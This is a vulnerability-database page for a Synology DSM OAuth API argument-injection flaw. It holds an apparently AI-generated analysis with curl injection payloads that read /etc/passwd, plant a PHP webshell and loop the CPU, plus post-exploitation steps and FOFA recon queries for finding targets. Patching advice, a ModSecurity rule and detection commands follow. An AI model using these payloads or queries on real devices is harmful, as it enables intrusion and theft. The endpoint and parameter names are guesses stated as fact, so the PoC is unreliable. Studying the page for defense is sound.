CVE Professor
/
All CVEs
CVE-2026-120382

CVE-2026-120382 — Synology DiskStation Manager (DSM) (7.4.1-90080- — CWE-88

CRITICAL CVSS 9.8 NVD

An improper neutralization of argument delimiters in a command vulnerability in the OAuth API in Synology DiskStation Manager (DSM) before 7.1.1-42962-10, 7.2.1-69057-14, 7.2.2-72806-11, 7.3.2-86009-6, and 7.4.1-90080-2 allows remote attackers to read or write arbitrary files and conduct denial-of-service attacks.

An improper neutralization of argument delimiters in a command vulnerability in the OAuth API in Synology DiskStation Manager (DSM) before 7.1.1-42962-10, 7.2.1-69057-14, 7.2.2-72806-11, 7.3.2-86009-6, and 7.4.1-90080-2 allows remote attackers to read or write arbitrary files and conduct denial-of-service attacks.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑120382 is a classic command‑injection flaw caused by improper neutralization of argument delimiters (CWE‑88) in the OAuth API of Synology DiskStation Manager (DSM).
The vulnerable code constructs a shell command that incorporates user‑supplied OAuth parameters (e.g., client_id, client_secret, scope, etc.) without quoting or escaping shell metacharacters. As a result, an attacker can inject arbitrary shell commands via the OAuth request, even when no authentication is required.

Key points:

ItemDetail
Affected componentOAuth API endpoint (e.g., /oauth/token or /oauth2/token)
AuthenticationNone – the API is publicly reachable and does not require a logged‑in session for the vulnerable operation
Input validationMissing sanitization of shell metacharacters (;, &, , &&, , >, <, ` `, $(`, etc.)
Resulting impactArbitrary command execution → read/write arbitrary files, modify system configuration, or launch denial‑of‑service (DoS) attacks
Affected DSM versionsDSM 7.1.1‑42962‑10, 7.2.1‑69057‑14, 7.2.2‑72806‑11, 7.3.2‑86009‑6, 7.4.1‑90080‑2 (and any earlier builds)

Because the API is reachable from any network (AV:N) and the vulnerability can be triggered without UI interaction (UI:N), the CVSS vector reflects a critical risk (C = H, I = H, A = H).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow that an attacker could follow. The example payloads are illustrative; the exact endpoint and parameter names are not published in the CVE description, so the attacker would first discover the real API path via reconnaissance.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
1.1Network scan (e.g., nmap -p 5000,5001,5002 <target>)Identify DSM web service ports (usually 5000/5001 for HTTP/HTTPS).
1.2HTTP header sniffing (curl -I https://<target>/)Observe X-DSM-Version: 7.4.1-90080-2 header or similar.
1.3Endpoint enumeration (dirsearch, gobuster)Discover /oauth/token or /oauth2/token endpoint.
1.4Version fingerprintingConfirm that the target is running a vulnerable DSM build (e.g., 7.4.1‑90080‑2).

2. Exploitation

Assumptions

  • The vulnerable endpoint is /oauth/token.

  • The API accepts a JSON body with fields client_id, client_secret, grant_type, and scope.

  • The server passes the client_id value directly into a shell command without sanitization.
  • PoC (illustrative)

    # Read /etc/passwd
    curl -k -X POST https://<target>/oauth/token \
      -H "Content-Type: application/json" \
      -d '{
            "client_id":"admin;cat /etc/passwd",
            "client_secret":"dummy",
            "grant_type":"client_credentials",
            "scope":"read"
          }'

    The server will execute something like:
    /usr/bin/oauth-cli --client-id "admin;cat /etc/passwd" ...
    The injected ;cat /etc/passwd runs after the legitimate command, leaking the file contents in the HTTP response.

    Write a file (webshell)

    # Create a PHP webshell at /webapps/webshell.php
    curl -k -X POST https://<target>/oauth/token \
      -H "Content-Type: application/json" \
      -d '{
            "client_id":"admin;echo "<?php system($_GET[\'cmd\']); ?>" > /webapps/webshell.php",
            "client_secret":"dummy",
            "grant_type":"client_credentials",
            "scope":"write"
          }'

    Result: A PHP file is written to the web root. The attacker can now access it:

    curl "https://<target>/webapps/webshell.php?cmd=whoami"

    Denial‑of‑Service

    # Launch a CPU‑intensive loop
    curl -k -X POST https://<target>/oauth/token \
      -H "Content-Type: application/json" \
      -d '{
            "client_id":"admin;while :;do :;done",
            "client_secret":"dummy",
            "grant_type":"client_credentials",
            "scope":"none"
          }'

    The infinite loop consumes CPU resources, potentially exhausting the DSM’s web server process and causing a DoS.

    3. Post‑Exploitation

    GoalTechniqueOutcome
    PersistUpload a webshell or modify /etc/cron.d via the same injectionContinuous remote access
    Privilege EscalationWrite a script that modifies DSM configuration files (e.g., /etc/dsm.conf) to disable security featuresFull system compromise
    Data ExfiltrationUse the webshell to read sensitive files (/etc/shadow, /var/log/dsm.log) and send them to an external serverConfidentiality breach
    Lateral MovementEnumerate other DSM services (FTP, SMB) and use the webshell to create SMB shares or FTP usersExpand foothold

    Because the vulnerability does not require any authentication, the attacker can perform all of the above from a single HTTP request.


    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C = H)Arbitrary file read allows disclosure of system files, credentials, and user data.
    Integrity (I = H)Arbitrary file write can modify configuration files, inject malware, or delete logs.
    Availability (A = H)Arbitrary command execution can launch DoS attacks, crash services, or lock the system.
    Overall CVSS Score9.8/10 (CRITICAL)

    Practical consequences for a typical Synology NAS environment:

  • Data loss or theft – sensitive files (e.g., backups, user documents) can be exfiltrated.
  • Service disruption – the NAS can be rendered unusable for legitimate users.
  • Full system compromise – once a webshell is in place, the attacker can pivot to other services (SMB, FTP, Docker) and potentially compromise the entire network.
  • Regulatory impact – breach of GDPR, HIPAA, or other compliance frameworks if personal data is exposed.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected DSM releasesRecommended action
    DSM 7.1.1‑42962‑10, 7.2.1‑69057‑14, 7.2.2‑72806‑11, 7.3.2‑86009‑6, 7.4.1‑90080‑2Upgrade immediately to the latest DSM release (any build newer than 7.4.1‑90080‑2). The patch sanitizes all OAuth parameters and removes the vulnerable command‑execution path.
    Note: Synology publishes advisories on their support portal. Verify the exact build number that contains the fix before upgrading.

    2. Workarounds (if patching is not yet possible)

    MitigationHow to implement
    Restrict OAuth API accessConfigure the DSM firewall or your network perimeter to allow /oauth/token only from trusted IP ranges (e.g., internal LAN).
    Disable the OAuth serviceIf the NAS is not used for OAuth, disable the service via DSM → Control Panel → Application Portal → OAuth.

    | Apply WAF / ModSecurity rule | Example rule (ModSecurity 2.x syntax):

    SecRule REQUEST_URI "@beginsWith /oauth/token" \
        "id:1001,phase:2,block,msg:'OAuth API command injection attempt',severity:2,log,tag:oauth,tag:command_injection,chain"
    SecRule ARGS|ARGS_NAMES "@rx [;&|`$()<>]" \
        "t:none,t:urlDecodeUni,phase:2,block,msg:'Argument delimiter detected',severity:2,log,tag:oauth,tag:command_injection"
    This rule blocks any request containing shell metacharacters in the OAuth parameters. Adjust the rule to match your exact endpoint and parameter names.

    3. Detection

    IndicatorLog patternHow to search
    Suspicious OAuth requestsPOST /oauth/token with client_id containing ; or &grep -i "oauth/token" /var/log/httpd/access_loggrep -E ';&'
    Command executionsh -c or bash -c in system logsjournalctl -u dsm.servicegrep -i 'sh -c'
    File creation in webroottouch /webapps/webshell.phpauditctl -a always,exit -F arch=b64 -S openat -F dir=/webapps -k webshell
    DoS patternsRepeated long‑running processestop -b -n1grep -i 'while'

    Tip: Enable DSM’s “Audit Log” and “System Log” to capture detailed command execution traces.


    ⚠️ Urgency

  • CVSS Score: 9.8/10 (CRITICAL) – indicates a high‑risk vulnerability that can be exploited remotely without authentication.
  • Exploit Complexity: Low – a single crafted HTTP request is sufficient.
  • CISA KEV Status: No – but the lack of a KEV designation does not mitigate the risk; the vulnerability is still exploitable.
  • Recommendation:

  • Immediate patching is required.

  • If patching cannot be performed within 24 hours, implement the firewall/WAF workarounds above and monitor logs for exploitation attempts.

  • Consider isolating the NAS from untrusted networks or disabling the OAuth API entirely if it is not needed for your environment.




[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Synology DiskStation Manager"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-88
Affected Products (1)
Synology:DiskStation Manager (DSM) (7.4.1-90080-2)
References & Advisories (1)
Related CVEs
10.0
CVE-2026-13136
An incorrect authorization in the remote service of Synology MailPlus Server before 4.0.1-21663 and 4.0.1-3166
9.9
CVE-2026-18919
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
9.9
CVE-2026-19214
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
9.9
CVE-2026-19215
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
5.4
CVE-2026-144589
turbo-graph before 3.0.0 contains an argument injection vulnerability that allows remote attackers to inject t
2.5
CVE-2026-81134
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.8
CVE-2026-47811
The salt-ssh option filter that blocks ProxyCommand used a case-sensitive check, but OpenSSH treats option nam